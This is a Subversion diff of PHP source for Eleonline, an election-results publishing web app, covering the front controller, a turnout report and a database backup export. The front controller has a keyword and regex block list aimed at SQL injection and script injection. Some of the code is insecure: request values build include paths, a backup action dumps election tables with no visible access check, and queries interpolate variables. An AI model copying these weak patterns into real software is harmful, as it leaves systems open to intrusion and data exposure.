+
+
+
+    Header("Location: modules.php");
+die();
+
+?>
Index: /trunk/elezioni/trunk/client/modules.php
===================================================================
--- /trunk/elezioni/trunk/client/modules.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules.php	(revision 44)
@@ -0,0 +1,241 @@
+<?php
+
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+define('MODULE_FILE', true);
+
+// Additional security (Union, CLike, XSS)
+
+// We want to use the function stripos,
+// but thats only available since PHP5.
+// So we cloned the function...
+if(!function_exists('stripos')) {
+  function stripos_clone($haystack, $needle, $offset=0) {
+    return strpos(strtoupper($haystack), strtoupper($needle), $offset);
+  }
+} else {
+// But when this is PHP5, we use the original function	
+  function stripos_clone($haystack, $needle, $offset=0) {
+    return stripos($haystack, $needle, $offset=0);
+  }
+}
+
+  if(isset($_SERVER['QUERY_STRING']) && (!stripos_clone($_SERVER['QUERY_STRING'], "ad_click") || !stripos_clone($_SERVER['QUERY_STRING'], "url"))) {
+    $queryString = $_SERVER['QUERY_STRING'];
+    if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'..') OR stripos_clone($queryString,'+') OR  stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR stripos_clone($queryString,'http://') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'concat')) {
+      die('Operazione non consentita');
+    }
+  }
+
+foreach ($_GET as $sec_key => $secvalue) {
+    if ((preg_match("/<[^>]*script*\"?[^>]*>/i",$secvalue)) ||
+	(preg_match("/<[^>]*object*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*iframe*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*applet*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*meta*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*style*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*form*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*img*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*onmouseover*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/<[^>]*body*\"?[^>]*>/i", $secvalue)) ||
+	(preg_match("/\([^>]*\"?[^)]*\)/", $secvalue)) ||
+	(preg_match("/\"/", $secvalue)) ||
+	(preg_match("/inside_mod/i", $sec_key))) {
+        die ("Operazione non consentita");
+     }
+  }
+
+  foreach ($_POST as $secvalue) {
+    if ((preg_match("/<[^>]*onmouseover*\"?[^>]*>/i", $secvalue)) || (preg_match("/<[^>]script*\"?[^>]*>/i", $secvalue)) || (preg_match("/<[^>]*body*\"?[^>]*>/i", $secvalue)) || (preg_match("/<[^>]style*\"?[^>]*>/i", $secvalue))) {
+      die ($htmltags);
+    }
+  }
+  
+// Posting from other servers in not allowed
+// Fix by Quake
+// Bug found by PeNdEjO
+if ($_SERVER['REQUEST_METHOD'] == "POST") {
+  if (isset($_SERVER['HTTP_REFERER'])) {
+    if (!stripos_clone($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST'])) {
+        die('Posting da un altro server non  consentito!');
+    } else {
+#    	die('<b>Attenzione:</b> il tuo browser non puo inviare gli header HTTP_REFERER al website.<br/>');
+    }
+  }
+}
+  
+function jsexist(){ // controlla javascript by l.apolito 2008
+global $op,$name;
+if(!isset($_GET['js'])){
+$querystring= @preg_replace('/'.$_SERVER['DOCUMENT_ROOT'].'/i','http://'.$_SERVER['HTTP_HOST'].'/',$_SERVER['SCRIPT_FILENAME']);
+if (preg_match("/modules.php/i",$_SERVER['SCRIPT_NAME'])) $pagina="name=$name"; // reindirizza
+if (preg_match("/admin.php/i",$_SERVER['SCRIPT_NAME'])) $pagina="op=$op"; // reindirizza
+ echo "<noscript><meta http-equiv=\"refresh\" content=\"0; url=".$querystring."?js=b&amp;$pagina\"/></noscript>";
+  }
+$js=$_GET['js'];
+return $js;
+}
+  
+  
+
+
+
+
+session_start();//MODIFICHE PER GESTIONE SESSIONI
+// apre database
+////////////////////////
+
+include("config.php");
+
+
+
+
+if(!$dbi = mysql_connect($dbhost, $dbuname, $dbpass)){
+die("<center><img src=\"images/logo.gif\" target=\"Logo Avviso Errore\"><br/><br/><b>Ci sono dei problemi di connessione al Server $dbtype, chiediamo scusa per l'inconveniente.<br/><br/>Provate piu' tardi, Grazie.</b><br/><font color=\"#ff0000\">". mysql_error()."</font></center>");
+}
+
+if(!mysql_select_db($dbname)){
+die("<center><img src=src=\"images/logo.gif\" target=\"Logo Avviso Errore\"><br/><br/><b>Ci sono dei problemi di connessione al DataBase $dbtype, chiediamo scusa per l'inconveniente.<br/><br/>Provate piu' tardi, Grazie.</b><br/><font color=\"#ff0000\">". mysql_error()."</font></center>");
+}
+mysql_query("SET NAMES 'utf8'", $dbi);
+
+# carica i parametri di default sulla tabella
+$res = mysql_query("SELECT * FROM ".$prefix."_config" , $dbi);
+$row = mysql_fetch_array($res);
+$sitename = stripslashes($row['sitename']);
+$siteurl = $row['siteurl'];
+$site_logo = $row['site_logo'];
+$startdate = $row['startdate'];
+$adminmail = $row['adminmail'];
+$tema = $row['tema'];
+$language = $row['language'];
+$blocco = intval($row['blocco']);
+$fileout = intval($row['fileout']);
+$copyright = $row['copyright'];
+$Versione = $row['Versione'];
+$patch = $row['patch'];
+$siteistat = intval($row['siteistat']);
+$multicomune = intval($row['multicomune']);
+$flash = intval($row['flash']);
+$displayerrors = $row['displayerrors'];
+$gkey = $row['gkey'];
+$googlemaps = intval($row['googlemaps']);
+$editor = intval($row['editor']);
+$tema_on = intval($row['tema_on']);
+$ed_user = $row['ed_user'];
+# altre config
+$res = mysql_query("SELECT * FROM ".$prefix."_ele_comuni where id_comune='$siteistat' ", $dbi);
+$row = mysql_fetch_array($res);
+$id_cons_pred = intval($row['id_cons']);
+if($id_cons_pred=='0')$id_cons_pred='';
+if(!isset($id_cons_gen)) $id_cons_gen=$id_cons_pred;
+# carica il metodo d'hontd 
+$res = mysql_query("SELECT * FROM ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_gen' ", $dbi);
+$row = mysql_fetch_array($res);
+
+
+
+
+$param=strip_tags(strtolower($_SERVER['REQUEST_METHOD'])) == 'get' ? $_GET : $_POST;
+////////////////////
+#funzione di backup
+if (isset($param['op']) and $param['op']=='backup')
+{
+$id_cons_bak=intval($param['id_cons_gen']);
+if (isset($param['id_comune'])) $id_combak=intval($param['id_comune']); else $id_combak=$_SESSION['id_comune'];
+$res = mysql_query("SELECT id_cons,id_conf FROM ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_bak' and id_comune='$id_combak'" , $dbi);
+list($id_cons,$hondt) = mysql_fetch_row($res);
+
+// incluso in consiglieri.php, ma io carico le vecchie variabili per compatibilit'a all'indietro
+if($hondt>=1){
+# proiezione consiglio
+      $res = mysql_query("SELECT * FROM ".$prefix."_ele_conf where id_conf='$hondt'", $dbi);
+      $row = mysql_fetch_array($res);
+      $descrizione_consiglio = $row['descrizione'];
+      $LIMITE = intval($row['limite']);
+      $CONSIN = intval($row['consin']);
+      $INFPREMIO=intval($row['infpremio']);
+      $SUPSBARRAMENTO=intval($row['supsbarramento']);
+      $SUPMINPREMIO=intval($row['supminpremio']);
+      $SUPPREMIO=intval($row['suppremio']);
+      $LISTINFSBAR=intval($row['listinfsbar']);
+      $LISTINFCONTA=intval($row['listinfconta']);
+      $LISTSUPCONTA=intval($row['listsupconta']);
+      $SUPMINPREMIO=intval($row['supminpremio']);
+      $INFMINPREMIO=intval($row['infminpremio']);
+}
+
+
+include("modules/Elezioni/backup.php");
+die();
+}
+///////////////////
+// lingua x demo
+if (isset($param['newl'])){
+	$newl=$param['newl'];
+	if (file_exists("modules/Elezioni/language/lang-$newl.php")){ $lang=$newl;$_SESSION['newl']="$lang";
+	}
+}
+
+// seesioni per flash, blocco e linguaggio, tour
+
+if (isset($param['block'])){
+   $blocco=$param['block'];
+   $_SESSION['newblock']="$blocco";
+        }
+if (isset($_SESSION['newblock'])) $blocco=$_SESSION['newblock']; 
+
+
+
+// linguaggio
+if (isset($_SESSION['newl'])) $lang=$_SESSION['newl']; 
+//else $lang=$lang;
+if (! isset($lang)) $lang=$language;
+if (strlen($lang)!=2) $lang=$language;
+
+// flash x demo
+if (isset($param['flash'])){
+        $flash=$param['flash'];
+        $_SESSION['newflash']="$flash";
+        }
+if (isset($_SESSION['newflash'])) $flash=$_SESSION['newflash']; 
+
+if (isset($param['tema'])){
+        $tema=$param['tema'];
+        $tema=htmlentities($tema); // evita xss
+        if(preg_match("/%/i", $tema)) $tema="default";// evita xss
+        $_SESSION['newtema']="$tema";
+        }
+if (isset($_SESSION['newtema'])) {
+	$tema=$_SESSION['newtema']; 
+	if (preg_match("/%/i",$_SESSION['newtema'])) $_SESSION['newtema']="default"; // xss
+}
+$PHP_SELF=$_SERVER['PHP_SELF'];
+$file=(isset($_GET['file'])) ? $_GET['file']:"index";
+$name=(isset($_GET['name'])) ? $_GET['name']:"Elezioni";
+//$op= (isset($_GET['op'])) ? $_GET['op']:"gruppo";
+$name=htmlentities($name); 
+$file=htmlentities($file); 
+#$id_comune=intval($id_comune); 
+
+$modpath = "modules/$name/$file.php";
+//if (!$op) $op="gruppo";
+if (file_exists($modpath)) { 
+	include($modpath);
+} else {
+	die ("Sorry, such file doesn't exist...:$modpath");
+}
+
+
+
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/affluenze.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/affluenze.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/affluenze.php	(revision 44)
@@ -0,0 +1,322 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+
+
+if (isset($param['id_cons_gen'])) $id_cons_gen=intval($param['id_cons_gen']); else $id_cons_gen='';
+if (isset($param['num_ref'])) $num_ref=intval($param['num_ref']);
+if (isset($param['num_refs'])) $num_refs=intval($param['num_refs']);
+if (isset($param['id_comune'])) $id_comune=intval($param['id_comune']);
+if (isset($param['xls'])) $xls=intval($param['xls']);
+$res = mysql_query("SELECT t1.tipo_cons,t3.genere,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2, ".$prefix."_ele_tipo as t3 where t1.tipo_cons=t3.tipo_cons and t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($tipo_cons,$genere,$id_cons) = mysql_fetch_row($res);
+global $lang,$circo,$id_circ;
+
+if (isset($circo) and $circo) $circos="and t2.id_circ='$id_circ'";
+else $circos=''; 
+
+# testata
+include_once("modules/Elezioni/language/lang-$lang.php");
+if($csv==1){
+	include_once("modules/Elezioni/funzioni.php");
+	
+	$res = mysql_query("SELECT descrizione FROM ".$prefix."_ele_comuni where id_comune='$id_comune' ", $dbi);
+	list($descr_com) = mysql_fetch_row($res);
+        $descr_com =stripslashes($descr_com); 
+	$datipdf .= "<div style=\"margin:0px auto; text-align:center;\">";
+	$siteistat=$id_comune;
+	if($xls!=1) $datipdf .= "<table><tr><td><img src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_comune=".$id_comune."\" alt=\"mappa\" /></td><td>";
+        $datipdf .= ""._COMUNE." $descr_com <br/>
+	"._RISULTA." "._CONSULTA."<br/>";
+	$datipdf .= "<h1>$descr_cons</h1>"._DISCLAIMER."";
+	if($xls!=1) $datipdf .=  "</td></tr></table>";
+	$datipdf .="	  <h2><b>"._DETTAGLIO."  "._AFFLUENZE."</b></h2></div>";
+
+	$html = "<style type=\"text/css\">
+	<!--
+
+	.td-89 {
+	width: 89%;	
+	border: 1px;
+	text-align: left; 
+	}
+	.td-vuoto {
+		
+	width: 100%;	
+	border: 1px;
+	text-align: left; 
+	
+}
+
+
+	.td-5 {
+	
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	/*border: none;*/
+	padding: 0px;
+        
+	text-align: center; 
+	}	
+
+
+
+	.bggray 	{
+		background: #ffffff; 
+		FONT-SIZE: 13px; 
+		FONT-FAMILY: Helvetica;
+		border: 1px;
+	}
+
+	.bggray2 	{
+		background: #EFEFEF; 
+		FONT-SIZE: 13px; 
+		FONT-FAMILY: Helvetica;
+		border: 1px;
+		}
+	-->
+	</style>";
+
+
+
+
+}
+	
+      
+
+
+
+
+    
+	// referendum
+	
+	
+	if (!IsSet($num_ref)) { 
+		$num_ref=1;
+		$resg = mysql_query("SELECT id_gruppo from ".$prefix."_ele_gruppo where id_cons='$id_cons'", $dbi);
+		$num_refs= mysql_num_rows($resg); //quante pagine?
+	}	
+	if($genere=='0'){
+		$resg = mysql_query("SELECT id_gruppo from ".$prefix."_ele_gruppo where id_cons='$id_cons' and num_gruppo='$num_ref'", $dbi);	
+		list($id_gruppo)=mysql_fetch_array($resg);
+	
+	
+	}
+	// icone stampa e grafici
+	
+	if (!$csv){
+	if(!isset($html)) $html='';
+	$html .= "<div>
+	<a href=\"modules.php?name=Elezioni&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;op=affluenze_graf\">
+	"._VER_GRAF." <img class=\"image\" src=\"modules/Elezioni/images/grafici.png\" alt=\"\" /></a>
+	<a href=\"modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=affluenze_sez&amp;csv=1\">"._VER_STAMPA."
+	<img class=\"image\" src=\"modules/Elezioni/images/printer.png\" alt=\"\" /></a>
+	<a href=\"modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=affluenze_sez&amp;csv=1&amp;xls=1\">
+	<img class=\"image\" src=\"modules/Elezioni/images/csv.gif\" alt=\"\" /></a>
+
+	</div>
+
+	<h2><b>"._DETTAGLIO."  "._AFFLUENZE."</b></h2>";
+	  }  
+	
+	// descrizione
+	 if ($genere==0){
+	 $des = mysql_query("select descrizione from ".$prefix."_ele_gruppo where id_gruppo='$id_gruppo'", $dbi);
+		list($descrizione)=mysql_fetch_array($des);
+	        if(!isset($html)) $html='';
+		$html .= "<div><h4>$descrizione</h4></div>";
+	}
+	
+	
+	$cond= $genere==0 ? "and t3.id_gruppo='$id_gruppo'" : "";
+	$i=1;
+	
+	
+	$res = mysql_query("SELECT num_sez,id_sez,t1.id_sede, t2.id_circ,maschi,femmine,(maschi+femmine) as elettori FROM ".$prefix."_ele_sezioni as t1, ".$prefix."_ele_sede as t2 where t1.id_cons='$id_cons' and t1.id_sede=t2.id_sede $circos order by num_sez", $dbi);
+	while ($linka[$i++] = mysql_fetch_array($res));
+#	while (list($appo) = mysql_fetch_array($res)) {$i=$appo['num_sez']; $linka[$i] = $appo;echo "\nnum:$i:".$linka[$i]['num_sez'];}die();
+	$num_sez = mysql_num_rows($res); //numero totale delle sezioni
+	$sez_da=$linka[1]['num_sez'];
+	$sez_a=$sez_da+$num_sez-1;
+	$tot_compl=0;$tot_u=0;$tot_d=0;
+//	$ar['riga1'][0]="<hr>";
+	$tot= array();
+	$ar[0][0]="<b>TOTALI</b>";
+	$ar['perc'][0]="Perc.";
+//	$ar['riga2'][0]="<hr>";
+#	foreach($linka['num_sez'] as $i)
+$y=1;
+for ($i=$sez_da;$i<=$sez_a;$i++,$y++)	{	
+#		$ar[$i]['numsez']=$i;
+		
+		$ar[$i]['numsez']=$linka[$y]['num_sez'];
+		$ar[$i]['elettori']=number_format($linka[$y]['elettori'],0,',','.');
+		$tot_compl+=$linka[$y]['elettori'];
+		$tot_u+=$linka[$y]['maschi'];
+		$tot_d+=$linka[$y]['femmine'];
+		
+	}
+	$ar[0][1]="<b>".number_format($tot_compl,0,',','.')."</b>";
+
+	$ar['perc'][1]=" ";
+
+	$perc_u=0;$perc_d=0;$perc_c=0;
+#	$resril = mysql_query("SELECT t1.data,t1.orario FROM ".$prefix."_ele_rilaff as t1 where t1.id_cons_gen='$id_cons_gen' and 0<(select count(0) from ".$prefix."_ele_voti_parziale as t2, ".$prefix."_ele_cons_comune as t3 where t3.id_cons_gen=t1.id_cons_gen and t3.id_cons=t2.id_cons and t2.data=t1.data and t2.orario=t1.orario) order by t1.data,t1.orario", $dbi);
+	$resril = mysql_query("SELECT t1.data,t1.orario FROM ".$prefix."_ele_rilaff as t1 left join ".$prefix."_ele_voti_parziale as t2 on t2.data=t1.data and t2.orario=t1.orario left join ".$prefix."_ele_cons_comune as t3 on t3.id_cons_gen=t1.id_cons_gen where t1.id_cons_gen='$id_cons_gen' and t3.id_cons=t2.id_cons group by t1.data,t1.orario order by t1.data,t1.orario", $dbi);
+	$num_ril= mysql_num_rows($resril);  //numero delle rilevazioni previste
+        if(!isset($html)) $html='';
+	$html .= "<table class=\"td-89\">";
+	$html .= "<tr class=\"bggray\"><td class=\"\">"._SEZIONI."</td><td>"._ISCR_SEZ."</td>";
+#	$ressomma = mysql_query("SELECT  data,orario,sum(voti_complessivi),sum(voti_uomini),sum(voti_donne) from ".$prefix."_ele_voti_parziale where id_cons=$id_cons $cond group by data,orario,id_gruppo", $dbi);
+  	$ressomma = mysql_query("select t3.data,t3.orario,sum(t3.voti_complessivi),sum(t3.voti_uomini),sum(t3.voti_donne)  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' $circos  group by t3.data,t3.orario,t3.id_gruppo ",$dbi);
+#die("select t3.data,t3.orario,sum(t3.voti_complessivi),sum(t3.voti_uomini),sum(t3.voti_donne)  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' $circos  group by t3.data,t3.orario,t3.id_gruppo ");
+	while (list($data,$ora,$somma,$votiu,$votid) = mysql_fetch_row($ressomma)) {
+		if($votiu or $votid)
+		{
+			$tot[$data.$ora]="<table class=\"td-89\" width=\"100%\"><tr class=\"bggray2\"><td class=\"td-30\">
+			<b>".number_format($votiu,0,',','.')."</b></td><td class=\"td-30\">
+			<b>".number_format($votid,0,',','.')."</b></td><td>
+			<b>".number_format($somma,0,',','.')."</b></td>
+			</tr></table>";
+			$perc_u=number_format($votiu*100/$tot_u,2);
+			$perc_d=number_format($votid*100/$tot_d,2);
+			$perc_c=number_format($somma*100/$tot_compl,2);
+		}
+		else
+			$tot[$data.$ora]=$somma;
+	}
+	$ud=0;$ora_rif="";
+	while (list($data1,$ora1) = mysql_fetch_row($resril)) 
+	{
+		$ud++;	
+		list($hour, $minute, $second) = explode(":", $ora1);
+		$ora_ril=$hour.":".$minute;
+		$html .= "<td"; 
+		if ($ud==$num_ril and ($perc_u or $perc_d)) {$ora_rif="$data1.$ora1";}
+		$html .= ">";
+		$data_a=form_data($data1);
+		$html .= "".$data_a."<br />"._ORE." ".$ora_ril;
+		$resaff = mysql_query("SELECT count(data) FROM ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t1.id_cons='$id_cons' and data='$data1' and orario='$ora_ril' $circos group by t3.id_gruppo", $dbi);
+		list($num_scr) = mysql_fetch_row($resaff);  //numero delle sezioni inserite
+		$html .= "<br />"._SEZIONI." $num_scr "._SU." $num_sez";
+		if ($ud==$num_ril and ($perc_u or $perc_d)) $html .= "<br />
+		
+		<table class=\"td-vuoto\"  width=\"100%\"><tr class=\"bggray\">
+		<th class=\"td-30\">"._UOMINI."</th>
+		<th class=\"td-30\">"._DONNE."</th>
+		<th>"._COMPLESSIVI."</th>
+		</tr></table>";
+		
+		$html .= "</td>";
+
+	if (isset($tot[$data1.$ora1])){
+		if ($ora_rif=="$data1.$ora1")
+		{
+			$ar['perc'][$data1.$ora1]="<table class=\"td-vuoto\"  width=\"100%\"><tr class=\"bggray2\">
+			<td class=\"td-30\"><b><i><span class=\"red\">$perc_u%</span></i></b></td>
+			<td class=\"td-30\"><b><i><span class=\"red\">$perc_d%</span></i></b></td>
+			<td ><span class=\"red\"><b><i>$perc_c%</i></b></span></td>
+			</tr></table>";
+			$ar[0][$data1.$ora1]=$tot[$data1.$ora1];
+		}
+		else
+		{
+			$ar['perc'][$data1.$ora1]="<b><span class=\"red\"><i>
+			".number_format($tot[$data1.$ora1]*100/$tot_compl,2)."%</i></span></b>";
+			$ar[0][$data1.$ora1]="<b>".(number_format($tot[$data1.$ora1],0,',','.'))."</b>";
+		}
+
+		if (intval(preg_match('/[1-9]/',$tot[$data1.$ora1]))>0) {
+#foreach($ar[['num_sez'] as $i)
+		for ($i=$sez_da;$i<=$sez_a;$i++)
+			{
+				$ar[$i][$data1.$ora1]="<span style=\"color: rgb(255, 0, 0);\">non rilevata</span>";
+			}
+		}
+	}
+	}
+  	$resvoti = mysql_query("select t3.data,t3.orario,t1.num_sez,voti_uomini, voti_donne, voti_complessivi  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' $circos $cond order by data,orario,t1.num_sez ",$dbi);
+#	$resvoti = mysql_query("SELECT  data,orario,t2.num_sez,voti_uomini, voti_donne, voti_complessivi from ".$prefix."_ele_voti_parziale as t1, ".$prefix."_ele_sezioni as t2 where t1.id_cons=$id_cons and t1.id_sez=t2.id_sez $cond order by data,orario,t2.num_sez", $dbi);
+	$ud=0;
+#die("select t3.data,t3.orario,t1.num_sez,voti_uomini, voti_donne, voti_complessivi  from ".$prefix."_ele_voti_parziale as t3 left join ".$prefix."_ele_sezioni as t1 on t3.id_sez=t1.id_sez left join ".$prefix."_ele_sede as t2 on t1.id_sede=t2.id_sede where t3.id_cons='$id_cons' $circos $cond order by data,orario,t2.num_sez ");
+	while (list($data,$ora,$numsez,$uomini,$donne,$complessivi) = mysql_fetch_row($resvoti)) {
+		if ($ora_rif=="$data.$ora")
+			$ar[$numsez][$data.$ora]="<table class=\"td-vuoto\"  width=\"100%\"><tr class=\"bggray2\">
+			<td class=\"td-30\" width=\"33%\">$uomini</td>
+			<td class=\"td-30\" width=\"33%\">$donne</td>
+			<td >$complessivi</td>
+			</tr></table>";
+		else
+			$ar[$numsez][$data.$ora]=$complessivi;
+	}
+    $html .= "</tr>";
+
+	foreach ($ar as $i => $arr) {
+		$html .= "<tr class=\"bggray2\">";
+		foreach ($arr as $valore)
+		{
+		
+			$html .= "<td class=\"bggray2\">$valore</td>";
+		}
+		$html .= "</tr>";
+	}
+
+	
+	     
+	     $html .= "</table>";
+		
+	     if($genere==0){ //se e' referendum
+        #'Pagina precedente' e 'Pagina Successiva'
+	$html .= "<div class=\"modulo\">";
+	    $cur=$num_ref;
+        if ($cur>1) {
+		
+              	$num_ref--;
+			  $html .= "<a href=\"modules.php?name=Elezioni&amp;op=come&amp;info=affluenze_sez&amp;id_cons_gen=$id_cons_gen&amp;num_ref=$num_ref&amp;num_refs=$num_refs&amp;id_comune=$id_comune\">";
+              	$html .= "[ <b>"._PREV_MATCH."</b> ] </a>";
+        }
+        if ($cur<$num_refs) {
+	        $cur++;        
+			$html .= "<a href=\"modules.php?name=Elezioni&amp;op=come&amp;info=affluenze_sez&amp;id_cons_gen=$id_cons_gen&amp;num_ref=$cur&amp;num_refs=$num_refs&amp;id_comune=$id_comune\">";
+            $html .= "[ <b>"._NEXT_MATCH."</b> ] </a>";
+        }
+	$html .= "</div>";
+	}
+
+	
+if(!isset($style)) $style='';	
+if($csv==1){
+      $data=date("d-m-y G:i");
+      $style .="\t\t\n<br/><br/><br/><div style=\"margin:0px auto;text-align:center;\"><i>Stampato: $data</i></div>";
+      $style .="<br/><div style=\"text-align:center;\"><i>Eleonline by l. apolito & r. gigli - www.eleonline.it</i></div>";		
+      $style .= "<br/>  ";	
+      
+}	
+$html .= "</div>";
+
+
+############### stampa
+if ($xls!='1'){
+      echo "$datipdf $html $style";
+}else{
+	$nomefile="export.xls";
+	header ("Content-Type: application/vnd.ms-excel");
+	header ("Content-Disposition: inline; filename=$nomefile");
+
+	echo "$datipdf";
+	echo "$html \t\n $style";
+}
+
+
+if($csv!=1 ) include ("footer.php");
+  
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/backup.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/backup.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/backup.php	(revision 44)
@@ -0,0 +1,17 @@
+<?php
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+if (isset($param['id_cons_gen']))
+	 $id_cons_gen2=intval($param['id_cons_gen']);
+if (isset($param['id_comune']))
+	 $id_comune2=intval($param['id_comune']);
+$result = mysql_query("select descrizione from ".$prefix."_ele_consultazione  where id_cons_gen='$id_cons_gen2'", $dbi);
+list($nomeFile) = mysql_fetch_row($result);
+#$nomeFile="backup";
+header( 'Content-Type: application/octet-stream' );
+header( 'Content-Disposition: attachment; filename="'.$nomeFile.'"' );
+#header( 'Content-Length:'.strlen( $content ) );
+header( 'Content-Transfer-Encoding: binary' );
+include("backup2.php");
+exit(0);
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/backup2.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/backup2.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/backup2.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php
+#global $dbi,$id_cons_gen,$id_comune;
+#$res_comune = mysql_query("select id_cons from ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_gen' and id_comune='$id_comune'" ,$dbi);
+#list($id_cons)=mysql_fetch_row($res_comune);
+#echo "id_cons=$id_cons<br/>";
+$res_comune = mysql_query("select * from ".$prefix."_ele_cons_comune where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_cons_comune");
+$res_comune = mysql_query("select * from ".$prefix."_ele_gruppo where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_gruppo");
+$res_comune = mysql_query("select * from ".$prefix."_ele_lista where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_lista");
+$res_comune = mysql_query("select * from ".$prefix."_ele_candidati where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_candidati");
+$res_comune = mysql_query("select * from ".$prefix."_ele_circoscrizione where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_circoscrizione");
+$res_comune = mysql_query("select * from ".$prefix."_ele_sede where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_sede");
+$res_comune = mysql_query("select * from ".$prefix."_ele_sezioni where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_sezioni");
+$res_comune = mysql_query("select * from ".$prefix."_ele_link where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_link");
+$res_comune = mysql_query("select * from ".$prefix."_ele_come where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_come");
+$res_comune = mysql_query("select * from ".$prefix."_ele_numeri where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_numeri");
+$res_comune = mysql_query("select * from ".$prefix."_ele_servizi where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_servizi");
+$res_comune = mysql_query("select * from ".$prefix."_ele_voti_candidati where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_voti_candidati");
+$res_comune = mysql_query("select * from ".$prefix."_ele_voti_gruppo where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_voti_gruppo");
+$res_comune = mysql_query("select * from ".$prefix."_ele_voti_lista where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_voti_lista");
+$res_comune = mysql_query("select * from ".$prefix."_ele_voti_parziale where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_voti_parziale");
+$res_comune = mysql_query("select * from ".$prefix."_ele_voti_ref where id_cons='$id_cons'" ,$dbi);
+scarica_array($res_comune,$prefix."_ele_voti_ref");
+
+
+function scarica_array($res_comune,$tab){
+echo "[$tab]\n";
+while ($lista = mysql_fetch_array($res_comune, MYSQL_ASSOC)) {
+	$x=0;
+	foreach ($lista as $key=>$val) {$lista[$key]=base64_encode($val);
+		if ($x++) echo ":";
+		
+		echo "'".$lista[$key]."'";
+	}
+	echo "\n";
+}
+}
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/00_affluenze.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/blocchi/00_affluenze.php	(revision 44)
